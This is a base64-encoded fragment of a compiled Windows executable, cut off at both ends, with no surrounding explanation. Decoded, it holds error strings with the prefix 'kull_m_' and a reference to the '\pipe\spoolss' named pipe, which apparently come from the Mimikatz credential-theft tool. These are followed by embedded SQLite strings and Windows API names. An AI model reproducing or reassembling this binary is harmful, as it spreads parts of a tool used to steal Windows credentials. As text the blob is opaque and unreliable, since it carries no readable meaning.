AeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGUAcQB1AGEAbAAgADsAIABOAHQAQwBvAG0AcABhAHIAZQBUAG8AawBlAG4AcwA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AeABtAGwAXwBDAHIAZQBhAHQAZQBBAG4AZABJAG4AaQB0AEQATwBNACAAOwAgAEMAbwBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwB4AG0AbABfAEwAbwBhAGQAWABNAEwARgBpAGwAZQAgADsAIABJAFgATQBMAEQATwBNAEQAbwBjAHUAbQBlAG4AdABfAGwAbwBhAGQAOgAgADAAeAAlADAAOAB4AAoAAAAAAG5jYWNuX25wAAAAAFxwaXBlXHNwb29sc3MAAABDT01QSUxFUj1tc3ZjLTE5MjkAAERFRkFVTFRfV0FMX1NZTkNIUk9OT1VTPTEAAABESVNBQkxFX0lOVFJJTlNJQwAAAExJS0VfRE9FU05UX01BVENIX0JMT0JTAE1BWF9FWFBSX0RFUFRIPTAAAAAAT01JVF9CRVRXRUVOX09QVElNSVpBVElPTgAAAE9NSVRfREVDTFRZUEUAAABPTUlUX0RFUFJFQ0FURUQAT01JVF9MSUtFX09QVElNSVpBVElPTgAAT01JVF9MT0NBTFRJTUUAAE9NSVRfT1JfT1BUSU1JWkFUSU9OAAAAAE9NSVRfUFJPR1JFU1NfQ0FMTEJBQ0sAAE9NSVRfU0hBUkVEX0NBQ0hFAAAAT01JVF9UQ0xfVkFSSUFCTEUAAABPTUlUX1RSVU5DQVRFX09QVElNSVpBVElPTgAAVEhSRUFEU0FGRT0wAAAAAFVOVEVTVEFCTEUAAFVTRV9BTExPQ0EAADIwYjoyMGUAMjBjOjIwZQAyMGUANDBmLTIxYS0yMWQAbm93AHNlY29uZAAAbWludXRlAABob3VyAAAAAGRheQBtb250aAAAAHllYXIAAAAAdW5peGVwb2NoAAAAd2Vla2RheSAAAAAAc3RhcnQgb2YgAAAAJTA0ZC0lMDJkLSUwMmQgJTAyZDolMDJkOiUwMmQAAAAlMDJkOiUwMmQ6JTAyZAAAJTA0ZC0lMDJkLSUwMmQAACUwMmQAAAAAJTA2LjNmAAAlMDNkAAAAACUuMTZnAAAAJWxsZAAAAAAlMDRkAAAAAGp1bGlhbmRheQAAAGRhdGUAAAAAdGltZQAAAABkYXRldGltZQAAAABzdHJmdGltZQAAAABjdXJyZW50X3RpbWUAAAAAY3VycmVudF90aW1lc3RhbXAAAABjdXJyZW50X2RhdGUAAAAAZmFpbGVkIHRvIGFsbG9jYXRlICV1IGJ5dGVzIG9mIG1lbW9yeQAAAGZhaWxlZCBtZW1vcnkgcmVzaXplICV1IHRvICV1IGJ5dGVzACUAAABOYU4AAAAAAE5VTEwAAAAAKE5VTEwpAAAuAAAAOTIyMzM3MjAzNjg1NDc3NTgwAABBUEkgY2FsbCB3aXRoICVzIGRhdGFiYXNlIGNvbm5lY3Rpb24gcG9pbnRlcgAAAAB1bm9wZW5lZAAAAABpbnZhbGlkAFNhdmVwb2ludAAAAEF1dG9Db21taXQAAFRyYW5zYWN0aW9uAFNvcnRlck5leHQAAFByZXYAAAAATmV4dAAAAABDaGVja3BvaW50AABKb3VybmFsTW9kZQBWYWN1dW0AAFZGaWx0ZXIAVlVwZGF0ZQBHb3RvAAAAAEdvc3ViAAAASW5pdENvcm91dGluZQAAAFlpZWxkAAAATXVzdEJlSW50AAAASnVtcAAAAABPbmNlAAAAAElmAABOb3QASWZOb3QAAABJZk51bGxSb3cAAABTZWVrTFQAAFNlZWtMRQAAU2Vla0dFAABTZWVrR1QAAElmTm9Ib3BlAAAAAE5vQ29uZmxpY3QAAE5vdEZvdW5kAAAAAEZvdW5kAAAAU2Vla1Jvd2lkAAAATm90RXhpc3RzAAAATGFzdAAAAABJZlNtYWxsZXIAAABTb3J0ZXJTb3J0AABTb3J0AAAAAFJld2luZAAASWR4TEUAAABJZHhHVAAAAElkeExUAAAASWR4R0UAAABSb3dTZXRSZWFkAABSb3dTZXRUZXN0AABPcgAAQW5kAFByb2dyYW0ARmtJZlplcm8AAAAASWZQb3MAAABJZk5vdFplcm8AAABEZWNySnVtcFplcm8AAAAASXNOdWxsAABOb3ROdWxsAE5lAABFcQAAR3QAAExlAABMdAAAR2UAAEVsc2VOb3RFcQAAAEluY3JWYWN1dW0AAFZOZXh0AAAASW5pdAAAAABQdXJlRnVuYzAAAABGdW5jdGlvbjAAAABQdXJlRnVuYwAAAABGdW5jdGlvbgAAAABSZXR1cm4AAEVuZENvcm91dGluZQAAAABIYWx0SWZOdWxsAABIYWx0AAAAAEludGVnZXIASW50NjQAAABTdHJpbmcAAE51bGwAAAAAU29mdE51bGwAAAAAQmxvYgAAAABWYXJpYWJsZQAAAABNb3ZlAAAAAENvcHkAAAAAU0NvcHkAAABJbnRDb3B5AFJlc3VsdFJvdwAAAENvbGxTZXEAQWRkSW1tAABSZWFsQWZmaW5pdHkAAAAAQ2FzdAAAAABQZXJtdXRhdGlvbgBDb21wYXJlAElzVHJ1ZQAAT2Zmc2V0AABDb2x1bW4AAEFmZmluaXR5AAAAAE1ha2VSZWNvcmQAAENvdW50AAAAUmVhZENvb2tpZQAAU2V0Q29va2llAAAAUmVvcGVuSWR4AAAAT3BlblJlYWQAAAAAT3BlbldyaXRlAAAAQml0QW5kAABCaXRPcgAAAFNoaWZ0TGVmdAAAAFNoaWZ0UmlnaHQAAEFkZABTdWJ0cmFjdAAAAABNdWx0aXBseQAAAABEaXZpZGUAAFJlbWFpbmRlcgAAAENvbmNhdAAAT3BlbkR1cABCaXROb3QAAE9wZW5BdXRvaW5kZXgAAABPcGVuRXBoZW1lcmFsAAAAU3RyaW5nOABTb3J0ZXJPcGVuAABTZXF1ZW5jZVRlc3QAAAAAT3BlblBzZXVkbwAAQ2xvc2UAAABDb2x1bW5zVXNlZABTZWVrSGl0AFNlcXVlbmNlAAAAAE5ld1Jvd2lkAAAAAEluc2VydAAARGVsZXRlAABSZXNldENvdW50AABTb3J0ZXJDb21wYXJlAAAAU29ydGVyRGF0YQAAUm93RGF0YQBSb3dpZAAAAE51bGxSb3cAU2Vla0VuZABTb3J0ZXJJbnNlcnQAAAAASWR4SW5zZXJ0AAAASWR4RGVsZXRlAAAARGVmZXJyZWRTZWVrAAAAAElkeFJvd2lkAAAAAERlc3Ryb3kAQ2xlYXIAAABSZXNldFNvcnRlcgBDcmVhdGVCdHJlZQBTcWxFeGVjAFBhcnNlU2NoZW1hAExvYWRBbmFseXNpcwAAAABEcm9wVGFibGUAAABEcm9wSW5kZXgAAABEcm9wVHJpZ2dlcgBJbnRlZ3JpdHlDawBSb3dTZXRBZGQAAABSZWFsAAAAAFBhcmFtAAAARmtDb3VudGVyAAAATWVtTWF4AABPZmZzZXRMaW1pdABBZ2dJbnZlcnNlAABBZ2dTdGVwAEFnZ1N0ZXAxAAAAAEFnZ1ZhbHVlAAAAAEFnZ0ZpbmFsAAAAAEV4cGlyZQAAVGFibGVMb2NrAAAAVkJlZ2luAABWQ3JlYXRlAFZEZXN0cm95AAAAAFZPcGVuAAAAVkNvbHVtbgBWUmVuYW1lAFBhZ2Vjb3VudAAAAE1heFBnY250AAAAAFRyYWNlAAAAQ3Vyc29ySGludAAATm9vcAAAAABFeHBsYWluAEFib3J0YWJsZQAAAEFyZUZpbGVBcGlzQU5TSQBDaGFyTG93ZXJXAABDaGFyVXBwZXJXAABDbG9zZUhhbmRsZQBDcmVhdGVGaWxlQQBDcmVhdGVGaWxlVwBDcmVhdGVGaWxlTWFwcGluZ0EAAENyZWF0ZUZpbGVNYXBwaW5nVwAAQ3JlYXRlTXV0ZXhXAAAAAERlbGV0ZUZpbGVBAERlbGV0ZUZpbGVXAEZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lAEZpbGVUaW1lVG9TeXN0ZW1UaW1lAAAAAEZsdXNoRmlsZUJ1ZmZlcnMAAAAARm9ybWF0TWVzc2FnZUEAAEZvcm1hdE1lc3NhZ2VXAABGcmVlTGlicmFyeQBHZXRDdXJyZW50UHJvY2Vzc0lkAEdldERpc2tGcmVlU3BhY2VBAAAAR2V0RGlza0ZyZWVTcGFjZVcAAABHZXRGaWxlQXR0cmlidXRlc0EAAEdldEZpbGVBdHRyaWJ1dGVzVwAAR2V0RmlsZUF0dHJpYnV0ZXNFeFcAAAAAR2V0RmlsZVNpemUAR2V0RnVsbFBhdGhOYW1lQQAAAABHZXRGdWxsUGF0aE5hbWVXAAAAAEdldExhc3RFcnJvcgAAAABHZXRQcm9jQWRkcmVzc0EAR2V0U3lzdGVtSW5mbwAAAEdldFN5c3RlbVRpbWUAAABHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBHZXRUZW1wUGF0aEEAAAAAR2V0VGVtcFBhdGhXAAAAAEdldFRpY2tDb3VudAAAAABHZXRWZXJzaW9uRXhBAAAAR2V0VmVyc2lvbkV4VwAAAEhlYXBBbGxvYwAAAEhlYXBDcmVhdGUAAEhlYXBEZXN0cm95AEhlYXBGcmVlAAAAAEhlYXBSZUFsbG9jAEhlYXBTaXplAAAAAEhlYXBWYWxpZGF0ZQAAAABIZWFwQ29tcGFjdABMb2FkTGlicmFyeUEAAAAATG9hZExpYnJhcnlXAAAAAExvY2FsRnJlZQAAAExvY2tGaWxlAAAAAExvY2tGaWxlRXgAAE1hcFZpZXdPZkZpbGUAAABNdWx0aUJ5dGVUb1dpZGVDaGFyAFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAFJlYWRGaWxlAAAAAFNldEVuZE9mRmlsZQAAAABTZXRGaWxlUG9pbnRlcgAAU2xlZXAAAABTeXN0ZW1UaW1lVG9GaWxlVGltZQAAAABVbmxvY2tGaWxlAABVbmxvY2tGaWxlRXgAAAAAVW5tYXBWaWV3T2ZGaWxlAFdpZGVDaGFyVG9NdWx0aUJ5dGUAV3JpdGVGaWxlAAAAQ3JlYXRlRXZlbnRFeFcAAFdhaXRGb3JTaW5nbGVPYmplY3QAV2FpdEZvclNpbmdsZU9iamVjdEV4AAAAU2V0RmlsZVBvaW50ZXJFeAAAAABHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZUV4AAAAAE1hcFZpZXdPZkZpbGVGcm9tQXBwAAAAAENyZWF0ZUZpbGUyAExvYWRQYWNrYWdlZExpYnJhcnkAR2V0VGlja0NvdW50NjQAAEdldE5hdGl2ZVN5c3RlbUluZm8AT3V0cHV0RGVidWdTdHJpbmdBAABPdXRwdXREZWJ1Z1N0cmluZ1cAAEdldFByb2Nlc3NIZWFwAABDcmVhdGVGaWxlTWFwcGluZ0Zyb21BcHAAAAAASW50ZXJsb2NrZWRDb21wYXJlRXhjaGFuZ2UAAFV1aWRDcmVhdGUAAFV1aWRDcmVhdGVTZXF1ZW50aWFsAAAAAEZsdXNoVmlld09mRmlsZQAlcwAAT3NFcnJvciAweCVseCAoJWx1KQBvc193aW4uYzolZDogKCVsdSkgJXMoJXMpIC0gJXMAAGRlbGF5ZWQgJWRtcyBmb3IgbG9jay9zaGFyaW5nIGNvbmZsaWN0IGF0IGxpbmUgJWQAAAB3aW5TZWVrRmlsZQB3aW5DbG9zZQAAAAB3aW5SZWFkAHdpbldyaXRlMQAAAHdpbldyaXRlMgAAAHdpblRydW5jYXRlMQAAAAB3aW5UcnVuY2F0ZTIAAAAAd2luU3luYzEAAAAAd2luU3luYzIAAAAAd2luRmlsZVNpemUAd2luVW5sb2NrUmVhZExvY2sAAAB3aW5VbmxvY2sAAAB3aW5Mb2NrU2hhcmVkTWVtb3J5ACVzLXNobQAAcmVhZG9ubHlfc2htAAAAAHdpbk9wZW5TaG0AAHdpblNobU1hcDEAAHdpblNobU1hcDIAAHdpblNobU1hcDMAAHdpblVubWFwZmlsZTEAAAB3aW5Vbm1hcGZpbGUyAAAAd2luTWFwZmlsZTEAd2luTWFwZmlsZTIAZXRpbHFzXwB3aW5HZXRUZW1wbmFtZTEAd2luR2V0VGVtcG5hbWUyAHdpbkdldFRlbXBuYW1lMwB3aW5HZXRUZW1wbmFtZTQAd2luR2V0VGVtcG5hbWU1AHdpbk9wZW4AcHNvdwAAAAB3aW5EZWxldGUAAAB3aW5BY2Nlc3MAAAAlcyVjJXMAAHdpbkZ1bGxQYXRobmFtZTEAAAAAd2luRnVsbFBhdGhuYW1lMgAAAAB3aW5GdWxsUGF0aG5hbWUzAAAAAHdpbkZ1bGxQYXRobmFtZTQAAAAAd2luMzIAAAB3aW4zMi1sb25ncGF0aAAAd2luMzItbm9uZQAAd2luMzItbG9uZ3BhdGgtbm9uZQByZWNvdmVyZWQgJWQgcGFnZXMgZnJvbSAlcwAALWpvdXJuYWwAAAAALXdhbAAAAABub2xvY2sAAGltbXV0YWJsZQAAAHJlY292ZXJlZCAlZCBmcmFtZXMgZnJvbSBXQUwgZmlsZSAlcwAAAABjYW5ub3QgbGltaXQgV0FMIHNpemU6ICVzAAAAOm1lbW9yeToAAAAAQCAgAAoAAABpbnZhbGlkIHBhZ2UgbnVtYmVyICVkAAAybmQgcmVmZXJlbmNlIHRvIHBhZ2UgJWQAAAAARmFpbGVkIHRvIHJlYWQgcHRybWFwIGtleT0lZAAAAABCYWQgcHRyIG1hcCBlbnRyeSBrZXk9JWQgZXhwZWN0ZWQ9KCVkLCVkKSBnb3Q9KCVkLCVkKQAAAGZhaWxlZCB0byBnZXQgcGFnZSAlZAAAAGZyZWVsaXN0IGxlYWYgY291bnQgdG9vIGJpZyBvbiBwYWdlICVkAABzaXplAAAAAG92ZXJmbG93IGxpc3QgbGVuZ3RoAAAAACVzIGlzICVkIGJ1dCBzaG91bGQgYmUgJWQAAABQYWdlICVkOiAAAAB1bmFibGUgdG8gZ2V0IHRoZSBwYWdlLiBlcnJvciBjb2RlPSVkAAAAYnRyZWVJbml0UGFnZSgpIHJldHVybnMgZXJyb3IgY29kZSAlZAAAAGZyZWUgc3BhY2UgY29ycnVwdGlvbgAAAE9uIHRyZWUgcGFnZSAlZCBjZWxsICVkOiAAAABPbiBwYWdlICVkIGF0IHJpZ2h0IGNoaWxkOiAAT2Zmc2V0ICVkIG91dCBvZiByYW5nZSAlZC4uJWQAAABFeHRlbmRzIG9mZiBlbmQgb2YgcGFnZQBSb3dpZCAlbGxkIG91dCBvZiBvcmRlcgBDaGlsZCBwYWdlIGRlcHRoIGRpZmZlcnMAAAAATXVsdGlwbGUgdXNlcyBmb3IgYnl0ZSAldSBvZiBwYWdlICVkAAAAAEZyYWdtZW50YXRpb24gb2YgJWQgYnl0ZXMgcmVwb3J0ZWQgYXMgJWQgb24gcGFnZSAlZABNYWluIGZyZWVsaXN0OiAAbWF4IHJvb3RwYWdlICglZCkgZGlzYWdyZWVzIHdpdGggaGVhZGVyICglZCkAAAAAaW5jcmVtZW50YWxfdmFjdXVtIGVuYWJsZWQgd2l0aCBhIG1heCByb290cGFnZSBvZiB6ZXJvAABQYWdlICVkIGlzIG5ldmVyIHVzZWQAAABQb2ludGVyIG1hcCBwYWdlICVkIGlzIHJlZmVyZW5jZWQAAAB1bmtub3duIGRhdGFiYXNlICVzAGRlc3RpbmF0aW9uIGRhdGFiYXNlIGlzIGluIHVzZQAAc291cmNlIGFuZCBkZXN0aW5hdGlvbiBtdXN0IGJlIGRpc3RpbmN0ACUhLjE1ZwAALQAAACVzJXMAAAAAayglZAAAAABCSU5BUlkAAEIAAABOLgAALCVzJXMlcwApAAAAKCUuMjBzKQAlcyglZCkAACVkAAAoYmxvYikAAHZ0YWI6JXAALCVkAF0AAABwcm9ncmFtACUuMngAAAAAJXMtbWpYWFhYWFg5WFh6AE1KIGRlbGV0ZTogJXMAAABNSiBjb2xsaWRlOiAlcwAALW1qJTA2WDklMDJYAAAAAEZPUkVJR04gS0VZIGNvbnN0cmFpbnQgZmFpbGVkAAAAAAAAAG5vbi1kZXRlcm1pbmlzdGljIGZ1bmN0aW9uIGluIGluZGV4IGV4cHJlc3Npb24gb3IgQ0hFQ0sgY29uc3RyYWludAAAQVBJIGNhbGxlZCB3aXRoIGZpbmFsaXplZCBwcmVwYXJlZCBzdGF0ZW1lbnQAAAAAQVBJIGNhbGxlZCB3aXRoIE5VTEwgcHJlcGFyZWQgc3RhdGVtZW50AHN0cmluZyBvciBibG9iIHRvbyBiaWcAAGJpbmQgb24gYSBidXN5IHByZXBhcmVkIHN0YXRlbWVudDogWyVzXQAtLSAAJyUuKnEnAAB6ZXJvYmxvYiglZCkAAAAAeCcAACUwMngAAAAAJwAAAE5PVCBOVUxMAAAAAFVOSVFVRQAAQ0hFQ0sAAABGT1JFSUdOIEtFWQAlcyBjb25zdHJhaW50IGZhaWxlZAAAAAAlejogJXMAAGFib3J0IGF0ICVkIGluIFslc106ICVzAGNhbm5vdCBvcGVuIHNhdmVwb2ludCAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAABubyBzdWNoIHNhdmVwb2ludDogJXMAAABjYW5ub3QgcmVsZWFzZSBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAAGNhbm5vdCBjb21taXQgdHJhbnNhY3Rpb24gLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAY2Fubm90IHN0YXJ0IGEgdHJhbnNhY3Rpb24gd2l0aGluIGEgdHJhbnNhY3Rpb24AY2Fubm90IHJvbGxiYWNrIC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAABjYW5ub3QgY29tbWl0IC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAAAAAGRhdGFiYXNlIHNjaGVtYSBoYXMgY2hhbmdlZABzcWxpdGVfbWFzdGVyAAAAU0VMRUNUKkZST00iJXciLiVzIFdIRVJFICVzIE9SREVSIEJZIHJvd2lkAAB0b28gbWFueSBsZXZlbHMgb2YgdHJpZ2dlciByZWN1cnNpb24AAAAAaW50bwAAAABvdXQgb2YAAGNhbm5vdCBjaGFuZ2UgJXMgd2FsIG1vZGUgZnJvbSB3aXRoaW4gYSB0cmFuc2FjdGlvbgAtLSAlcwAAAHN0YXRlbWVudCBhYm9ydHMgYXQgJWQ6IFslc10gJXMAb3V0IG9mIG1lbW9yeQAAAG51bGwAAAAAcmVhbAAAAABpbnRlZ2VyAGNhbm5vdCBvcGVuIHZhbHVlIG9mIHR5cGUgJXMAAAAAbm8gc3VjaCByb3dpZDogJWxsZABjYW5ub3Qgb3BlbiB2aXJ0dWFsIHRhYmxlOiAlcwAAAGNhbm5vdCBvcGVuIHRhYmxlIHdpdGhvdXQgcm93aWQ6ICVzAGNhbm5vdCBvcGVuIHZpZXc6ICVzAAAAAG5vIHN1Y2ggY29sdW1uOiAiJXMiAAAAAGZvcmVpZ24ga2V5AGluZGV4ZWQAY2Fubm90IG9wZW4gJXMgY29sdW1uIGZvciB3cml0aW5nAAAAbmV3AG9sZABleGNsdWRlZAAAAABtaXN1c2Ugb2YgYWxpYXNlZCBhZ2dyZWdhdGUgJXMAAG1pc3VzZSBvZiBhbGlhc2VkIHdpbmRvdyBmdW5jdGlvbiAlcwAAAAByb3cgdmFsdWUgbWlzdXNlZAAAAGRvdWJsZS1xdW90ZWQgc3RyaW5nIGxpdGVyYWw6ICIldyIAAG5vIHN1Y2ggY29sdW1uAABhbWJpZ3VvdXMgY29sdW1uIG5hbWUAAAAlczogJXMuJXMuJXMAAAAAJXM6ICVzLiVzAAAAJXM6ICVzAABwYXJ0aWFsIGluZGV4IFdIRVJFIGNsYXVzZXMAaW5kZXggZXhwcmVzc2lvbnMAAABDSEVDSyBjb25zdHJhaW50cwAAACVzIHByb2hpYml0ZWQgaW4gJXMAdGhlICIuIiBvcGVyYXRvcgAAAAAAAAAAc2Vjb25kIGFyZ3VtZW50IHRvIGxpa2VsaWhvb2QoKSBtdXN0IGJlIGEgY29uc3RhbnQgYmV0d2VlbiAwLjAgYW5kIDEuMAAAbm90IGF1dGhvcml6ZWQgdG8gdXNlIGZ1bmN0aW9uOiAlcwAAbm9uLWRldGVybWluaXN0aWMgZnVuY3Rpb25zACVzKCkgcHJvaGliaXRlZCBpbiB0cmlnZ2VycyBhbmQgdmlld3MAAAAlLipzKCkgbWF5IG5vdCBiZSB1c2VkIGFzIGEgd2luZG93IGZ1bmN0aW9uAHdpbmRvdwAAYWdncmVnYXRlAAAAbWlzdXNlIG9mICVzIGZ1bmN0aW9uICUuKnMoKQAAAABubyBzdWNoIGZ1bmN0aW9uOiAlLipzAAB3cm9uZyBudW1iZXIgb2YgYXJndW1lbnRzIHRvIGZ1bmN0aW9uICUuKnMoKQAAAABGSUxURVIgbWF5IG5vdCBiZSB1c2VkIHdpdGggbm9uLWFnZ3JlZ2F0ZSAlLipzKCkAAAAAc3VicXVlcmllcwAAcGFyYW1ldGVycwAAJXIgJXMgQlkgdGVybSBvdXQgb2YgcmFuZ2UgLSBzaG91bGQgYmUgYmV0d2VlbiAxIGFuZCAlZAB0b28gbWFueSB0ZXJtcyBpbiBPUkRFUiBCWSBjbGF1c2UAAABPUkRFUgAAACVyIE9SREVSIEJZIHRlcm0gZG9lcyBub3QgbWF0Y2ggYW55IGNvbHVtbiBpbiB0aGUgcmVzdWx0IHNldAAAAAB0b28gbWFueSB0ZXJtcyBpbiAlcyBCWSBjbGF1c2UAAGEgR1JPVVAgQlkgY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSBIQVZJTkcAR1JPVVAAAABhZ2dyZWdhdGUgZnVuY3Rpb25zIGFyZSBub3QgYWxsb3dlZCBpbiB0aGUgR1JPVVAgQlkgY2xhdXNlAAAwAAAAdG9vIG1hbnkgYXJndW1lbnRzIG9uIGZ1bmN0aW9uICVUAAAAdmFyaWFibGUgbnVtYmVyIG11c3QgYmUgYmV0d2VlbiA/MSBhbmQgPyVkAAB0b28gbWFueSBTUUwgdmFyaWFibGVzAAAlZCBjb2x1bW5zIGFzc2lnbmVkICVkIHZhbHVlcwAAAHRvbyBtYW55IGNvbHVtbnMgaW4gJXMAAHRydWUAAAAAZmFsc2UAAABfUk9XSURfAFJPV0lEAAAAT0lEAFVTSU5HIFJPV0lEIFNFQVJDSCBPTiBUQUJMRSAlcyBGT1IgSU4tT1BFUkFUT1IAAFVTSU5HIElOREVYICVzIEZPUiBJTi1PUEVSQVRPUgAAc3ViLXNlbGVjdCByZXR1cm5zICVkIGNvbHVtbnMgLSBleHBlY3RlZCAlZABSRVVTRSBMSVNUIFNVQlFVRVJZICVkAABDT1JSRUxBVEVEIAAlc0xJU1QgU1VCUVVFUlkgJWQAAFJFVVNFIFNVQlFVRVJZICVkAAAAJXNTQ0FMQVIgU1VCUVVFUlkgJWQAAAAAMQAAAEUAAAAweAAAaGV4IGxpdGVyYWwgdG9vIGJpZzogJXMlcwAAAG1pc3VzZSBvZiBhZ2dyZWdhdGU6ICVzKCkAAAB1bmtub3duIGZ1bmN0aW9uOiAlcygpAABSQUlTRSgpIG1heSBvbmx5IGJlIHVzZWQgd2l0aGluIGEgdHJpZ2dlci1wcm9ncmFtAAAAc3FsaXRlXwB0YWJsZSAlcyBtYXkgbm90IGJlIGFsdGVyZWQAAAAAAFNFTEVDVCAxIEZST00gIiV3Ii4lcyBXSEVSRSBuYW1lIE5PVCBMSUtFICdzcWxpdGVYXyUlJyBFU0NBUEUgJ1gnIEFORCBzcWwgTk9UIExJS0UgJ2NyZWF0ZSB2aXJ0dWFsJSUnIEFORCBzcWxpdGVfcmVuYW1lX3Rlc3QoJVEsIHNxbCwgdHlwZSwgbmFtZSwgJWQpPU5VTEwgAAAAAABTRUxFQ1QgMSBGUk9NIHRlbXAuJXMgV0hFUkUgbmFtZSBOT1QgTElLRSAnc3FsaXRlWF8lJScgRVNDQVBFICdYJyBBTkQgc3FsIE5PVCBMSUtFICdjcmVhdGUgdmlydHVhbCUlJyBBTkQgc3FsaXRlX3JlbmFtZV90ZXN0KCVRLCBzcWwsIHR5cGUsIG5hbWUsIDEpPU5VTEwgAAB0aGVyZSBpcyBhbHJlYWR5IGFub3RoZXIgdGFibGUgb3IgaW5kZXggd2l0aCB0aGlzIG5hbWU6ICVzAAB0YWJsZQAAAHZpZXcgJXMgbWF5IG5vdCBiZSBhbHRlcmVkAAAAAAAAVVBEQVRFICIldyIuJXMgU0VUIHNxbCA9IHNxbGl0ZV9yZW5hbWVfdGFibGUoJVEsIHR5cGUsIG5hbWUsIHNxbCwgJVEsICVRLCAlZCkgV0hFUkUgKHR5cGUhPSdpbmRleCcgT1IgdGJsX25hbWU9JVEgQ09MTEFURSBub2Nhc2UpQU5EICAgbmFtZSBOT1QgTElLRSAnc3FsaXRlWF8lJScgRVNDQVBFICdYJwAAAABVUERBVEUgJVEuJXMgU0VUIHRibF9uYW1lID0gJVEsIG5hbWUgPSBDQVNFIFdIRU4gdHlwZT0ndGFibGUnIFRIRU4gJVEgV0hFTiBuYW1lIExJS0UgJ3NxbGl0ZVhfYXV0b2luZGV4JSUnIEVTQ0FQRSAnWCcgICAgICBBTkQgdHlwZT0naW5kZXgnIFRIRU4gJ3NxbGl0ZV9hdXRvaW5kZXhfJyB8fCAlUSB8fCBzdWJzdHIobmFtZSwlZCsxOCkgRUxTRSBuYW1lIEVORCBXSEVSRSB0YmxfbmFtZT0lUSBDT0xMQVRFIG5vY2FzZSBBTkQgKHR5cGU9J3RhYmxlJyBPUiB0eXBlPSdpbmRleCcgT1IgdHlwZT0ndHJpZ2dlcicpOwAAAHNxbGl0ZV9zZXF1ZW5jZQBVUERBVEUgIiV3Ii5zcWxpdGVfc2VxdWVuY2Ugc2V0IG5hbWUgPSAlUSBXSEVSRSBuYW1lID0gJVEAAAAAAAAAVVBEQVRFIHNxbGl0ZV90ZW1wX21hc3RlciBTRVQgc3FsID0gc3FsaXRlX3JlbmFtZV90YWJsZSglUSwgdHlwZSwgbmFtZSwgc3FsLCAlUSwgJVEsIDEpLCB0YmxfbmFtZSA9IENBU0UgV0hFTiB0YmxfbmFtZT0lUSBDT0xMQVRFIG5vY2FzZSBBTkQgICAgICAgICAgIHNxbGl0ZV9yZW5hbWVfdGVzdCglUSwgc3FsLCB0eXBlLCBuYW1lLCAxKSBUSEVOICVRIEVMU0UgdGJsX25hbWUgRU5EIFdIRVJFIHR5cGUgSU4gKCd2aWV3JywgJ3RyaWdnZXInKQAAAENhbm5vdCBhZGQgYSBQUklNQVJZIEtFWSBjb2x1bW4AQ2Fubm90IGFkZCBhIFVOSVFVRSBjb2x1bW4AAENhbm5vdCBhZGQgYSBSRUZFUkVOQ0VTIGNvbHVtbiB3aXRoIG5vbi1OVUxMIGRlZmF1bHQgdmFsdWUAAENhbm5vdCBhZGQgYSBOT1QgTlVMTCBjb2x1bW4gd2l0aCBkZWZhdWx0IHZhbHVlIE5VTEwAAAAAQ2Fubm90IGFkZCBhIGNvbHVtbiB3aXRoIG5vbi1jb25zdGFudCBkZWZhdWx0AAAAVVBEQVRFICIldyIuJXMgU0VUIHNxbCA9IHN1YnN0cihzcWwsMSwlZCkgfHwgJywgJyB8fCAlUSB8fCBzdWJzdHIoc3FsLCVkKSBXSEVSRSB0eXBlID0gJ3RhYmxlJyBBTkQgbmFtZSA9ICVRAAAAAHZpcnR1YWwgdGFibGVzIG1heSBub3QgYmUgYWx0ZXJlZAAAAENhbm5vdCBhZGQgYSBjb2x1bW4gdG8gYSB2aWV3AAAAc3FsaXRlX2FsdGVydGFiXyVzAAB2aWV3AAAAAHZpcnR1YWwgdGFibGUAAABjYW5ub3QgcmVuYW1lIGNvbHVtbnMgb2YgJXMgIiVzIgAAAAAAAAAAVVBEQVRFICIldyIuJXMgU0VUIHNxbCA9IHNxbGl0ZV9yZW5hbWVfY29sdW1uKHNxbCwgdHlwZSwgbmFtZSwgJVEsICVRLCAlZCwgJVEsICVkLCAlZCkgV0hFUkUgbmFtZSBOT1QgTElLRSAnc3FsaXRlWF8lJScgRVNDQVBFICdYJyAgQU5EICh0eXBlICE9ICdpbmRleCcgT1IgdGJsX25hbWUgPSAlUSkgQU5EIHNxbCBOT1QgTElLRSAnY3JlYXRlIHZpcnR1YWwlJScAAFVQREFURSB0ZW1wLiVzIFNFVCBzcWwgPSBzcWxpdGVfcmVuYW1lX2NvbHVtbihzcWwsIHR5cGUsIG5hbWUsICVRLCAlUSwgJWQsICVRLCAlZCwgMSkgV0hFUkUgdHlwZSBJTiAoJ3RyaWdnZXInLCAndmlldycpACBhZnRlciByZW5hbWUAAABlcnJvciBpbiAlcyAlcyVzOiAlcwAAAAAiJXciAAAAAHNxbGl0ZV9yZW5hbWVfY29sdW1uAAAAAHNxbGl0ZV9yZW5hbWVfdGFibGUAc3FsaXRlX3JlbmFtZV90ZXN0AABzcWxpdGVfc3RhdDEAAAAAdGJsLGlkeCxzdGF0AAAAAHNxbGl0ZV9zdGF0NAAAAABzcWxpdGVfc3RhdDMAAAAAQ1JFQVRFIFRBQkxFICVRLiVzKCVzKQAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgJXM9JVEAAABzdGF0X2luaXQAAABzdGF0X3B1c2gAAAAlbGx1AAAAACAlbGx1AAAAc3RhdF9nZXQAAAAAc3FsaXRlXF8lAAAAQkJCAGlkeAB0YmwAdW5vcmRlcmVkKgAAc3o9WzAtOV0qAAAAbm9za2lwc2NhbioAU0VMRUNUIHRibCxpZHgsc3RhdCBGUk9NICVRLnNxbGl0ZV9zdGF0MQAAAAB0b28gbWFueSBhdHRhY2hlZCBkYXRhYmFzZXMgLSBtYXggJWQAAAAAZGF0YWJhc2UgJXMgaXMgYWxyZWFkeSBpbiB1c